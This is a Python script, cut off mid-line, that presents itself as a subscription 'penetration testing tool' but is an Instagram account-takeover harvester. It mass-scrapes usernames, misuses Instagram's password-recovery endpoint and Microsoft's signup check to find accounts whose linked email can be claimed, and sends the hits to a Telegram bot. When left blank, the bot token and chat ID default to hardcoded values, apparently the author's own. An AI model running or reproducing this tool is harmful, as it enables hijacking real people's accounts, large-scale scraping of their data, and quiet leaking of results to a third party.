#!/usr/bin/env python # -*- coding: utf-8 -*- # ╔══════════════════════════════════════════════════════════════════════════════════════════════════╗ # ║ 🔐 ABDULMALEK THE DEVELOPER - CYBER SECURITY TOOL 🔐 ║ # ║ 🛡️ Server-Backed Secure Subscription System ║ # ║ 💻 Developer: Abdul Malik | Telegram: @abdulmalek_de ║ # ╚══════════════════════════════════════════════════════════════════════════════════════════════════╝ import subprocess import sys import os # ═══════════════════════════════════════════════════════════════════════════════ # 📦 AUTO INSTALL LIBRARIES # ═══════════════════════════════════════════════════════════════════════════════ def install_packages(): packages = ['requests', 'colorama', 'user_agent'] print("\n" + "="*60) print(" ⚡ جاري تثبيت المكتبات المطلوبة...") print("="*60) for package in packages: try: __import__(package.replace('-', '_')) print(f" [✓] {package}") except: try: subprocess.check_call([sys.executable, "-m", "pip", "install", package, "-q"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) print(f" [✓] {package} - Installed") except: pass print("="*60 + "\n") install_packages() # ═══════════════════════════════════════════════════════════════════════════════ # 📚 IMPORTS # ═══════════════════════════════════════════════════════════════════════════════ import random import requests import webbrowser from datetime import datetime from colorama import Fore, Back, init import time import secrets from secrets import token_hex from random import randrange, choice from time import sleep import string import json from threading import Thread import uuid from concurrent.futures import ThreadPoolExecutor from hashlib import md5 import hashlib import platform try: from user_agent import generate_user_agent except: def generate_user_agent(): return 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0' init(autoreset=True) # ═══════════════════════════════════════════════════════════════════════════════ # 🎨 PROFESSIONAL COLORS # ═══════════════════════════════════════════════════════════════════════════════ # Neon Cyber Colors MG = '\033[38;5;46m' # Matrix Green CB = '\033[38;5;39m' # Cyber Blue NR = '\033[38;5;196m' # Neon Red NP = '\033[38;5;129m' # Neon Purple NC = '\033[38;5;51m' # Neon Cyan NY = '\033[38;5;226m' # Neon Yellow NO = '\033[38;5;208m' # Neon Orange NPK = '\033[38;5;199m' # Neon Pink NW = '\033[38;5;15m' # Neon White NG = '\033[38;5;82m' # Neon Lime Green NB = '\033[38;5;21m' # Neon Blue NV = '\033[38;5;93m' # Neon Violet # Standard Colors B = "\33[1;30m" R = "\33[1;31m" G = "\33[1;32m" Y = "\33[1;33m" Bl = "\33[1;34m" P = "\33[1;35m" C = "\33[1;36m" N = "\33[1;37m" X = '\33[1;33m' n = "\33[97m" H = "\x1b[38;5;208m" reset = "\33[0m" r = "\33[0m" bbo = "\33[1m" bo = "\33[1m" normal = "\33[0m" # ═══════════════════════════════════════════════════════════════════════════════ # 🌐 SERVER & GLOBALS # ═══════════════════════════════════════════════════════════════════════════════ SERVER_URL = "http://104.248.136.125/api" CONFIG_FILE = ".abdulmalek_config.json" Lol = str(uuid.uuid4()) Gio = str(uuid.uuid4()) DvD = f"android-{uuid.uuid4().hex[:16]}" sessionid = "" Ex = 0 hits = 0 bads_instgram = 0 bads_email = 0 gmmail = 0 aca = 0 gg = 0 listoo = [] ID = "" token = "" subscription_data = {} saved_key = "" # ═══════════════════════════════════════════════════════════════════════════════ # 🆔 DEVICE ID # ═══════════════════════════════════════════════════════════════════════════════ def get_device_id(): info = [] try: info.append(':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0, 48, 8)])) except: pass try: info.append(platform.node()) except: pass try: info.append(platform.system() + platform.machine()) except: pass try: info.append(os.getlogin()) except: try: info.append(os.environ.get('USER', os.environ.get('USERNAME', ''))) except: pass device_hash = hashlib.sha256('|'.join(info).encode()).hexdigest()[:32] return f"DEV-{device_hash.upper()}" def get_device_info(): try: return f"{platform.system()} {platform.release()} | {platform.machine()}"[:60] except: return "Unknown" DEVICE_ID = get_device_id() DEVICE_INFO = get_device_info() # ═══════════════════════════════════════════════════════════════════════════════ # 💾 SAVE/LOAD SUBSCRIPTION KEY # ═══════════════════════════════════════════════════════════════════════════════ def save_config(key, telegram_id="", telegram_token=""): """Save subscription key and telegram info locally""" try: config = { "subscription_key": key, "device_id": DEVICE_ID, "telegram_id": telegram_id, "telegram_token": telegram_token, "saved_at": datetime.now().isoformat() } with open(CONFIG_FILE, 'w') as f: json.dump(config, f) return True except: return False def load_config(): """Load saved subscription key""" try: if os.path.exists(CONFIG_FILE): with open(CONFIG_FILE, 'r') as f: config = json.load(f) # Verify it's for same device if config.get("device_id") == DEVICE_ID: return config return None except: return None # ═══════════════════════════════════════════════════════════════════════════════ # 🔐 SERVER SUBSCRIPTION # ═══════════════════════════════════════════════════════════════════════════════ def validate_key_server(key): try: r = requests.post(f"{SERVER_URL}/script/validate-key", json={"key": key, "device_id": DEVICE_ID, "device_info": DEVICE_INFO}, timeout=20) return r.json() except: return {"valid": False, "error": "connection"} def claim_key_server(key): try: r = requests.post(f"{SERVER_URL}/script/claim-key", json={"key": key, "device_id": DEVICE_ID, "device_info": DEVICE_INFO}, timeout=20) return r.json() except: return {"success": False, "error": "connection"} # ═══════════════════════════════════════════════════════════════════════════════ # 🎬 ANIMATION EFFECTS # ═══════════════════════════════════════════════════════════════════════════════ def clear(): os.system('cls' if os.name == 'nt' else 'clear') def typing_effect(text, delay=0.03): """Typing animation""" for char in text: sys.stdout.write(char) sys.stdout.flush() time.sleep(delay) print() def loading_bar(text, duration=2): """Animated loading bar""" bar_length = 30 for i in range(bar_length + 1): progress = int((i / bar_length) * 100) bar = f"{MG}{'█' * i}{NC}{'░' * (bar_length - i)}{reset}" sys.stdout.write(f"\r {text} [{bar}] {NY}{progress}%{reset}") sys.stdout.flush() time.sleep(duration / bar_length) print() def rainbow_text(text): """Rainbow color effect""" colors = [NR, NO, NY, MG, NC, CB, NP, NPK] result = "" for i, char in enumerate(text): result += colors[i % len(colors)] + char return result + reset def glitch_effect(text, times=3): """Glitch animation effect""" glitch_chars = ['█', '▓', '▒', '░', '▄', '▀', '▌', '▐'] for _ in range(times): glitched = "" for char in text: if random.random() < 0.3: glitched += random.choice(glitch_chars) else: glitched += char sys.stdout.write(f"\r{glitched}") sys.stdout.flush() time.sleep(0.1) sys.stdout.write(f"\r{text}") sys.stdout.flush() print() def matrix_rain(lines=3): """Matrix rain effect""" chars = "01アイウエオカキクケコサシスセソタチツテトナニヌネノ" for _ in range(lines): line = " " + "".join(random.choice(chars) for _ in range(60)) print(f"{MG}{line}{reset}") time.sleep(0.05) # ═══════════════════════════════════════════════════════════════════════════════ # 📺 PROFESSIONAL ANIMATED BANNER # ═══════════════════════════════════════════════════════════════════════════════ def show_animated_banner(): """Professional animated banner with Abdulmalek the Developer""" clear() # Matrix rain intro matrix_rain(2) time.sleep(0.3) # Main banner banner = f""" {MG}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {MG}║{reset} {MG}║{reset} {MG}║{NC} █████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ███╗ ███╗ █████╗ ██╗ ███████╗██╗ ██╗{MG}║{reset} {MG}║{NC} ██╔══██╗██╔══██╗██╔══██╗██║ ██║██║ ████╗ ████║██╔══██╗██║ ██╔════╝██║ ██╔╝{MG}║{reset} {MG}║{NC} ███████║██████╔╝██║ ██║██║ ██║██║ ██╔████╔██║███████║██║ █████╗ █████╔╝ {MG}║{reset} {MG}║{NC} ██╔══██║██╔══██╗██║ ██║██║ ██║██║ ██║╚██╔╝██║██╔══██║██║ ██╔══╝ ██╔═██╗ {MG}║{reset} {MG}║{NC} ██║ ██║██████╔╝██████╔╝╚██████╔╝███████╗██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██╗{MG}║{reset} {MG}║{NC} ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝{MG}║{reset} {MG}║{reset} {MG}║{reset} {MG}║{NY} ████████╗██╗ ██╗███████╗ ██████╗ ███████╗██╗ ██╗███████╗██╗ ██████╗ ██████╗ ███████╗██████╗ {MG}║{reset} {MG}║{NY} ╚══██╔══╝██║ ██║██╔════╝ ██╔══██╗██╔════╝██║ ██║██╔════╝██║ ██╔═══██╗██╔══██╗██╔════╝██╔══██╗{MG}║{reset} {MG}║{NY} ██║ ███████║█████╗ ██║ ██║█████╗ ██║ ██║█████╗ ██║ ██║ ██║██████╔╝█████╗ ██████╔╝{MG}║{reset} {MG}║{NY} ██║ ██╔══██║██╔══╝ ██║ ██║██╔══╝ ╚██╗ ██╔╝██╔══╝ ██║ ██║ ██║██╔═══╝ ██╔══╝ ██╔══██╗{MG}║{reset} {MG}║{NY} ██║ ██║ ██║███████╗ ██████╔╝███████╗ ╚████╔╝ ███████╗███████╗╚██████╔╝██║ ███████╗██║ ██║{MG}║{reset} {MG}║{NY} ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝ ╚═══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝{MG}║{reset} {MG}║{reset} {MG}║{reset} {MG}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {MG}║{reset} {MG}║{reset} {MG}║{NPK} ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗███████╗ ██████╗{MG} ║{reset} {MG}║{NPK} ██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗ ██╔════╝██╔════╝██╔════╝{MG} ║{reset} {MG}║{NPK} ██║ ╚████╔╝ ██████╔╝█████╗ ██████╔╝ ███████╗█████╗ ██║ {MG} ║{reset} {MG}║{NPK} ██║ ╚██╔╝ ██╔══██╗██╔══╝ ██╔══██╗ ╚════██║██╔══╝ ██║ {MG} ║{reset} {MG}║{NPK} ╚██████╗ ██║ ██████╔╝███████╗██║ ██║ ███████║███████╗╚██████╗{MG} ║{reset} {MG}║{NPK} ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚══════╝╚══════╝ ╚═════╝{MG} ║{reset} {MG}║{reset} {MG}║{reset} {MG}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {MG}║ {NW}🔐 PENETRATION TESTING TOOL | أداة اختبار الاختراق الاحترافية{MG} ║{reset} {MG}║ {NC}💻 Developer: {NY}Abdulmalek The Developer{NC} | Telegram: {NY}@abdulmalek_de{MG} ║{reset} {MG}║ {NC}📢 Channel: {NY}t.me/abdulmalekiq{NC} | {NR}🇮🇶 Iraq{MG} ║{reset} {MG}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """ print(banner) def show_simple_banner(): """Simple banner for menu screens""" clear() print(f""" {MG}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {MG}║{NC} █████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ███╗ ███╗ █████╗ ██╗ ███████╗██╗ ██╗{MG}║{reset} {MG}║{NC} ██╔══██╗██╔══██╗██╔══██╗██║ ██║██║ ████╗ ████║██╔══██╗██║ ██╔════╝██║ ██╔╝{MG}║{reset} {MG}║{NC} ███████║██████╔╝██║ ██║██║ ██║██║ ██╔████╔██║███████║██║ █████╗ █████╔╝ {MG}║{reset} {MG}║{NC} ██╔══██║██╔══██╗██║ ██║██║ ██║██║ ██║╚██╔╝██║██╔══██║██║ ██╔══╝ ██╔═██╗ {MG}║{reset} {MG}║{NC} ██║ ██║██████╔╝██████╔╝╚██████╔╝███████╗██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██╗{MG}║{reset} {MG}║{NC} ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝{MG}║{reset} {MG}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {MG}║ {NC}💻 {NY}Abdulmalek The Developer{NC} | Telegram: {NY}@abdulmalek_de{MG} ║{reset} {MG}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """) def show_subscription_status(): global subscription_data sub_type = subscription_data.get("type", "") if sub_type == "permanent": print(f""" {NO}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {NO}║ {NY}👑 MASTER KEY ACTIVATED! - تم تفعيل المفتاح الرئيسي! 👑{NO} ║{reset} {NO}║ {MG}🔓 UNLIMITED ACCESS - وصول غير محدود{NO} ║{reset} {NO}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """) elif sub_type == "temporary": days = subscription_data.get("remaining_days", 0) hours = subscription_data.get("remaining_hours", 0) mins = subscription_data.get("remaining_minutes", 0) expires = subscription_data.get("expires_at", "")[:10] if subscription_data.get("expires_at") else "N/A" print(f""" {MG}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {MG}║ {G}✅ SUBSCRIPTION ACTIVE - الاشتراك مفعل{MG} ║{reset} {MG}║ {NY}⏰ Remaining: {N}{days} days, {hours} hours, {mins} minutes{MG} ║{reset} {MG}║ {NC}📅 Expires: {N}{expires}{MG} ║{reset} {MG}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """) # ═══════════════════════════════════════════════════════════════════════════════ # 🔑 SUBSCRIPTION SCREEN WITH AUTO-LOAD # ═══════════════════════════════════════════════════════════════════════════════ def subscription_screen(): global subscription_data, saved_key, ID, token # Try to load saved config first config = load_config() if config and config.get("subscription_key"): saved_key = config["subscription_key"] print(f"\n {NY}🔑 Found saved subscription key...{reset}") loading_bar("Validating saved key", 2) # Validate saved key result = validate_key_server(saved_key) if result.get("valid"): subscription_data = result # Load telegram settings too if config.get("telegram_id"): ID = config["telegram_id"] if config.get("telegram_token"): token = config["telegram_token"] print(f"\n {G}╔══════════════════════════════════════════════════════════════╗{reset}") print(f" {G}║ ✅ Subscription loaded successfully! - تم تحميل الاشتراك!{G} ║{reset}") print(f" {G}╚══════════════════════════════════════════════════════════════╝{reset}") time.sleep(2) return True else: print(f"\n {Y}[!] Saved key expired or invalid. Please enter new key.{reset}") time.sleep(2) # If no saved key or invalid, ask for new one while True: show_animated_banner() print(f""" {NP}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {NP}║ {NY}🔐 SUBSCRIPTION SYSTEM - نظام الاشتراك 🔐{NP} ║{reset} {NP}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {NP}║ {N}📱 Device ID: {NC}{DEVICE_ID}{NP} ║{reset} {NP}║ {N}💻 System: {NC}{DEVICE_INFO[:50]}{NP} ║{reset} {NP}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {NP}║ {NY}🔑 Please enter your subscription key:{NP} ║{reset} {NP}║ {NY}🔑 الرجاء إدخال كود الاشتراك:{NP} ║{reset} {NP}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """) key = input(f"\n {C}[{N}→{C}]{N} Enter Key: {r}").strip() if not key: print(f"\n {R}[!] Please enter a valid key{reset}") time.sleep(2) continue print(f"\n {NY}⚡ Connecting to secure server...{reset}") loading_bar("Validating subscription", 3) result = claim_key_server(key) if result.get("success"): subscription_data = result saved_key = key print(f"\n {G}╔══════════════════════════════════════════════════════════════╗{reset}") print(f" {G}║ ✅ {result.get('message_ar', 'تم تفعيل الاشتراك!')}{G} ║{reset}") print(f" {G}╚══════════════════════════════════════════════════════════════╝{reset}") time.sleep(2) return True val_result = validate_key_server(key) if val_result.get("valid"): subscription_data = val_result saved_key = key print(f"\n {G}[✓] Subscription Valid!{reset}") time.sleep(2) return True print(f"\n {R}╔══════════════════════════════════════════════════════════════╗{reset}") print(f" {R}║ ❌ {result.get('message_ar', 'كود غير صالح')}{R} ║{reset}") print(f" {R}╚══════════════════════════════════════════════════════════════╝{reset}") print(f"\n {NC}📱 Contact: @abdulmalek_de (Telegram){reset}") input(f"\n {N}Press Enter to try again...{reset}") # ═══════════════════════════════════════════════════════════════════════════════ # 📱 TELEGRAM SETUP # ═══════════════════════════════════════════════════════════════════════════════ def setup_telegram(): global ID, token, saved_key # Check if we already have telegram settings from saved config if ID and token: print(f"\n {G}[✓] Using saved Telegram settings{reset}") time.sleep(1) return clear() print(f""" {NO}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {NO}║ {NY}████████╗███████╗██╗ ███████╗ ██████╗ ██████╗ █████╗ ███╗ ███╗{NO} ║{reset} {NO}║ {NY}╚══██╔══╝██╔════╝██║ ██╔════╝██╔════╝ ██╔══██╗██╔══██╗████╗ ████║{NO} ║{reset} {NO}║ {NY} ██║ █████╗ ██║ █████╗ ██║ ███╗██████╔╝███████║██╔████╔██║{NO} ║{reset} {NO}║ {NY} ██║ ██╔══╝ ██║ ██╔══╝ ██║ ██║██╔══██╗██╔══██║██║╚██╔╝██║{NO} ║{reset} {NO}║ {NY} ██║ ███████╗███████╗███████╗╚██████╔╝██║ ██║██║ ██║██║ ╚═╝ ██║{NO} ║{reset} {NO}║ {NY} ╚═╝ ╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝{NO} ║{reset} {NO}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {NO}║ {MG}📱 إعداد التيليجرام - TELEGRAM SETUP{NO} ║{reset} {NO}║ {NC}Your settings will be saved for future use{NO} ║{reset} {NO}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """) print(f" {NC}{'─'*60}{reset}") ID = input(f" {C}[{N}→{C}]{N} Enter your Telegram ID: {r}").strip() print(f"\n {NC}{'─'*60}{reset}") token = input(f" {C}[{N}→{C}]{N} Enter your Bot Token: {r}").strip() if not ID or not token: print(f"\n {Y}[i] Using default values{reset}") ID = "6054920260" token = "7598009346:AAE4xAL4pHv3hzSDXLPG4Gv3h8t8j94M9iA" # Save config with telegram settings save_config(saved_key, ID, token) print(f"\n {G}[✓] Telegram configured and saved!{reset}") time.sleep(2) # ═══════════════════════════════════════════════════════════════════════════════ # 🔧 INSTAGRAM FUNCTIONS (ORIGINAL) # ═══════════════════════════════════════════════════════════════════════════════ def Users(): global Ex try: LsD = ''.join(random.choices(string.ascii_letters + string.digits, k=32)) UseriD = str(random.randrange(10000, 17699999)) variables = json.dumps({"id": UseriD, "render_surface": "PROFILE"}) data = {"lsd": LsD, "variables": variables, "doc_id": "25618261841150840"} response = requests.post("https://www.instagram.com/api/graphql", headers={"X-FB-LSD": LsD}, data=data) username = response.json()['data']['user']['username'] with open("username.txt", "a") as file: file.write(username + "\n") Ex += 1 sys.stdout.write(f"\r {MG}[{N}{Ex}{MG}]{reset} -> Username : {NC}{username}{reset} ") sys.stdout.flush() return username except: return None def ExUsers(): for _ in range(2500): Users() def tnach(): global Ex try: LsD = ''.join(random.choices(string.ascii_letters + string.digits, k=32)) UseriD = str(random.randrange(10000, 263014407)) variables = json.dumps({"id": UseriD, "render_surface": "PROFILE"}) data = {"lsd": LsD, "variables": variables, "doc_id": "25618261841150840"} response = requests.post("https://www.instagram.com/api/graphql", headers={"X-FB-LSD": LsD}, data=data) username = response.json()['data']['user']['username'] with open("username.txt", "a") as file: file.write(username + "\n") Ex += 1 sys.stdout.write(f"\r {MG}[{N}{Ex}{MG}]{reset} -> Username : {NC}{username}{reset} ") sys.stdout.flush() return username except: return None def u(): for _ in range(2500): tnach() def tlt(): global Ex try: LsD = ''.join(random.choices(string.ascii_letters + string.digits, k=32)) UseriD = str(random.randrange(10000, 361365133)) variables = json.dumps({"id": UseriD, "render_surface": "PROFILE"}) data = {"lsd": LsD, "variables": variables, "doc_id": "25618261841150840"} response = requests.post("https://www.instagram.com/api/graphql", headers={"X-FB-LSD": LsD}, data=data) username = response.json()['data']['user']['username'] with open("username.txt", "a") as file: file.write(username + "\n") Ex += 1 sys.stdout.write(f"\r {MG}[{N}{Ex}{MG}]{reset} -> Username : {NC}{username}{reset} ") sys.stdout.flush() return username except: return None def qh(): for _ in range(2500): tlt() def rba(): global Ex try: LsD = ''.join(random.choices(string.ascii_letters + string.digits, k=32)) UseriD = str(random.randrange(10000, 61331927186)) variables = json.dumps({"id": UseriD, "render_surface": "PROFILE"}) data = {"lsd": LsD, "variables": variables, "doc_id": "25618261841150840"} response = requests.post("https://www.instagram.com/api/graphql", headers={"X-FB-LSD": LsD}, data=data) username = response.json()['data']['user']['username'] with open("username.txt", "a") as file: file.write(username + "\n") Ex += 1 sys.stdout.write(f"\r {MG}[{N}{Ex}{MG}]{reset} -> Username : {NC}{username}{reset} ") sys.stdout.flush() return username except: return None def bh(): for _ in range(2500): rba() def fs(id_user, session_id): global gg, listoo url = f'https://i.instagram.com/api/v1/friendships/{id_user}/followers/?count=100&search_surface=follow_list_page' headers = { 'Accept': '*/*', 'Cookie': f'sessionid={session_id}', 'User-Agent': generate_user_agent(), 'X-Ig-App-Id': '936619743392459', } response = requests.get(url, headers=headers) if '{"message":"","spam":true,"status":"fail"}' in response.text: print(f"\n {R}[!] Account blocked!{reset}") return try: for i in response.json()['users']: gg += 1 userL = i['username'] print(f" {MG}[{N}{gg}{MG}]{reset} -> Username : {NC}{userL}{reset}") with open("username.txt", "a") as f: f.write(f'{userL}\n') except: pass if 'HI' in listoo: try: m_id = response.json()['next_max_id'] for _ in range(9999): response = requests.get(f'https://i.instagram.com/api/v1/friendships/{id_user}/followers/?count=100&max_id={m_id}&search_surface=follow_list_page', headers=headers) if '{"message":"","spam":true,"status":"fail"}' in response.text: break try: for i in response.json()['users']: gg += 1 userL = i["username"] print(f" {MG}[{N}{gg}{MG}]{reset} -> Username : {NC}{userL}{reset}") with open("username.txt", "a") as f: f.write(f'{userL}\n') m_id = response.json()['next_max_id'] except: break except: pass def fg(id_user, session_id): global gg, listoo url = f'https://i.instagram.com/api/v1/friendships/{id_user}/following/?count=200' headers = { 'Accept': '*/*', 'Cookie': f'sessionid={session_id}', 'User-Agent': generate_user_agent(), 'X-Ig-App-Id': '936619743392459', } response = requests.get(url, headers=headers) if '{"message":"","spam":true,"status":"fail"}' in response.text: print(f"\n {R}[!] Account blocked!{reset}") return try: for i in response.json()['users']: gg += 1 userL = i['username'] print(f" {MG}[{N}{gg}{MG}]{reset} -> Username : {NC}{userL}{reset}") with open("username.txt", "a") as f: f.write(f'{userL}\n') except: pass if 'HI' in listoo: try: m_id = response.json()['next_max_id'] for _ in range(9999): response = requests.get(f'https://i.instagram.com/api/v1/friendships/{id_user}/following/?count=200&max_id={m_id}', headers=headers) if '{"message":"","spam":true,"status":"fail"}' in response.text: break try: for i in response.json()['users']: gg += 1 userL = i["username"] print(f" {MG}[{N}{gg}{MG}]{reset} -> Username : {NC}{userL}{reset}") with open("username.txt", "a") as f: f.write(f'{userL}\n') m_id = response.json()['next_max_id'] except: break except: pass # ═══════════════════════════════════════════════════════════════════════════════ # 🔧 CHECK FUNCTIONS (ORIGINAL) # ═══════════════════════════════════════════════════════════════════════════════ def rest(user): try: headers = { 'X-IG-App-ID': '567067343352427', 'User-Agent': 'Instagram 100.0.0.17.129 Android', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', } data = { 'signed_body': f'0d067c2f86cac2c17d655631c9cec2402012fb0a329bcafb3b1f4c0bb56b1f1f.{{"_csrftoken":"9y3N5kLqzialQA7z96AMiyAKLMBWpqVj","adid":"0dfaf820-2748-4634-9365-c3d8c8011256","guid":"1f784431-2663-4db9-b624-86bd9ce1d084","device_id":"android-b93ddb37e983481c","query":"{user}"}}', 'ig_sig_key_version': '4', } response = requests.post('https://i.instagram.com/api/v1/accounts/send_recovery_flow_email/', headers=headers, data=data).json() return response.get('email', 'no REST !') except: return 'no REST !' def info(username, jj): global hits, aca, ID, token hits += 1 try: headers = { 'accept': 'application/json, text/plain, */*', 'user-agent': generate_user_agent(), } rrr = requests.get(f'https://api-ig.storiesig.info/api/userInfoByUsername/{username}', headers=headers).json() Id = rrr['result']['user']['pk'] fows = rrr['result']['user']['follower_count'] fowg = rrr['result']['user']['following_count'] pp_count = rrr['result']['user']['media_count'] try: api = 'https://alany.pythonanywhere.com/' params = {'id': Id} response = requests.get(api, params=params).json() date = response.get('date', 'none') except: date = 'none' aca += 1 tlg = f''' 𖢦 Developed by: @abdulmalek_de 𖢦 HIT : {aca} FOLLOWERS : {fows} FOLLOWING : {fowg} POSTS : {pp_count} USERNAME : {username} DATE : {date} EMAIL : {username}@{jj} REST : {rest(username)} 𖢦 Channel: t.me/abdulmalekiq 𖢦 ''' with open('F1Hits.txt', 'a', encoding='utf-8') as ff: ff.write(f'{tlg}\n') try: requests.get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={ID}&text={tlg}") except: pass except: aca += 1 tlg = f''' 𖢦 Developed by: @abdulmalek_de 𖢦 HIT : {aca} USERNAME : {username} EMAIL : {username}@{jj} REST : {rest(username)} URL : https://www.instagram.com/{username} 𖢦 Channel: t.me/abdulmalekiq 𖢦 ''' try: requests.get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={ID}&text={tlg}") except: pass with open('F1Hits.txt', 'a', encoding='utf-8') as ff: ff.write(f'{tlg}\n') # ═══════════════════════════════════════════════════════════════════════════════ # 🚀 MAIN MENU & FUNCTIONS # ═══════════════════════════════════════════════════════════════════════════════ def show_main_menu(): print(f""" {NC}╔══════════════════════════════════════════════════════════════════════════════════════╗{reset} {NC}║ {NY}🎯 MAIN MENU - القائمة الرئيسية 🎯{NC} ║{reset} {NC}╠══════════════════════════════════════════════════════════════════════════════════════╣{reset} {NC}║ ║{reset} {NC}║ {MG}[1]{N} ➤ {NC}🔍 Check Place{N} - فحص المكان {NC}║{reset} {NC}║ {MG}[2]{N} ➤ {NC}📋 Get List Place{N} - جلب قائمة {NC}║{reset} {NC}║ {MG}[3]{N} ➤ {NC}🗑️ Delete List{N} - حذف القائمة {NC}║{reset} {NC}║ {MG}[4]{N} ➤ {NC}👤 Developer Info{N} - معلومات المطور {NC}║{reset} {NC}║ {NR}[0]{N} ➤ {NR}🚪 Exit{N} - خروج {NC}║{reset} {NC}║ ║{reset} {NC}╚══════════════════════════════════════════════════════════════════════════════════════╝{reset} """) def check_place(): global hits, bads_instgram, bads_email, aca, ID, token show_simple_banner() print(f"\n{NC} ╔══════════════════════════════════════════════════════════════╗{reset}") print(f"{NC} ║ {NY}🔍 CHECK PLACE - فحص المكان{NC} ║{reset}") print(f"{NC} ╚══════════════════════════════════════════════════════════════╝{reset}") try: requests.get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={ID}&text=🔍 Check Place Started\n📱 Device: {DEVICE_ID[:20]}...\n⏰ {datetime.now()}\n🔐 @abdulmalek_de") except: pass print(f"\n {G}[✓] Notification sent to Telegram{reset}") print(f"\n {NC}{'─'*50}{reset}") namefile1 = input(f" {C}[{N}→{C}]{N} Enter Name File (username.txt): {r}").strip() if not namefile1: namefile1 = 'username.txt' if not namefile1.endswith('.txt'): namefile1 += '.txt' try: list99 = open(namefile1, "r").read().splitlines() print(f" {G}[✓] Loaded {len(list99)} usernames from {namefile1}{reset}") except FileNotFoundError: print(f" {R}[!] File not found: {namefile1}{reset}") input(f"\n {N}Press Enter to continue...{reset}") return try: req = requests.post('https://signup.live.com', headers={'user-agent': 'Mozilla/5.0'}) cok = token_hex(8) * 2 amsc = req.cookies.get_dict().get('amsc', '') canary = str.encode(req.text.split('"apiCanary":"')[1].split('"')[0]).decode("unicode_escape").encode("ascii").decode("unicode_escape").encode("ascii").decode("ascii") except: cok = token_hex(8) * 2 amsc = '' canary = '' print(f""" {r}[{N}1{C}] -> {C} Out{N}look [{N}2{C}] -> {C} Hot{N}mail [{N}3{C}] -> {C} Gm{N}ail """) ik = input(f" {C}[{N}→{C}]{N} Enter choice: {r}").strip() if ik == '1': email_domain = 'outlook.com' elif ik == '2': email_domain = 'hotmail.com' elif ik == '3': email_domain = 'gmail.com' else: print(f" {R}[!] Invalid choice{reset}") input(f"\n {N}Press Enter to continue...{reset}") return print(f"\n {Y}⚡ Starting check with {email_domain}...{reset}") print(f" {NC}{'─'*50}{reset}") hits = 0 bads_instgram = 0 bads_email = 0 aca = 0 def hot(email): global bads_email cookies = {'mkt': 'ar-YE', 'MicrosoftApplicationsTelemetryDeviceId': Lol, 'MUID': cok, 'amsc': amsc} headers = {'authority': 'signup.live.com', 'accept': 'application/json', 'canary': canary, 'content-type': 'application/json', 'user-agent': generate_user_agent()} data = {'signInName': email, 'uaid': '936f243a-6a6d-49c2-8f6f-5a6a5a5a5a5a', 'includeSuggestions': True, 'uiflvr': 1001, 'scid': 100118, 'hpgid': 200639} try: res = requests.post('https://signup.live.com/API/CheckAvailableSigninNames', cookies=cookies, headers=headers, json=data, timeout=10).text if 'isAvailable":true' in res: username, jj = email.split('@') info(username, jj) else: bads_email += 1 except: bads_email += 1 def check(email): global bads_instgram, hits, bads_email try: headers = {'X-IG-App-ID': '567067343352427', 'User-Agent': 'Instagram 100.0.0.17.129 Android', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'} data = {'signed_body': f'0d067c2f86cac2c17d655631c9cec2402012fb0a329bcafb3b1f4c0bb56b1f1f.{{"_csrftoken":"9y3N5kLqzialQA7z96AMiyAKLMBWpqVj","adid":"{Lol}","guid":"{Gio}","device_id":"{DvD}","query":"{email}"}}', 'ig_sig_key_version': '4'} respon = requests.post('https://i.instagram.com/api/v1/accounts/send_recovery_flow_email/', headers=headers, data=data, timeout=10).text if '"status":"ok"' in respon: hot(email) else: bads_instgram += 1 except: bads_instgram += 1 bi = random.randint(5, 208) bos = f'\x1b[38;5;{bi}m' sys.stdout.write(f'\r {bos}[ Hits: {G}{hits} {n}Bad IG: {R}{bads_instgram} {n}Bad Email: {X}{bads_email} {bos}] \r') sys.stdout.flush() executor = ThreadPoolExecutor(max_workers=30) for username in list99: try: if '@' in username: username = username.split('@')[0] email = username + '@' + email_domain executor.submit(check, email) except: pass executor.shutdown(wait=True) print(f"\n\n {G}[✓] Check completed!{reset}") print(f" {NC}Total Hits: {hits} | Bad IG: 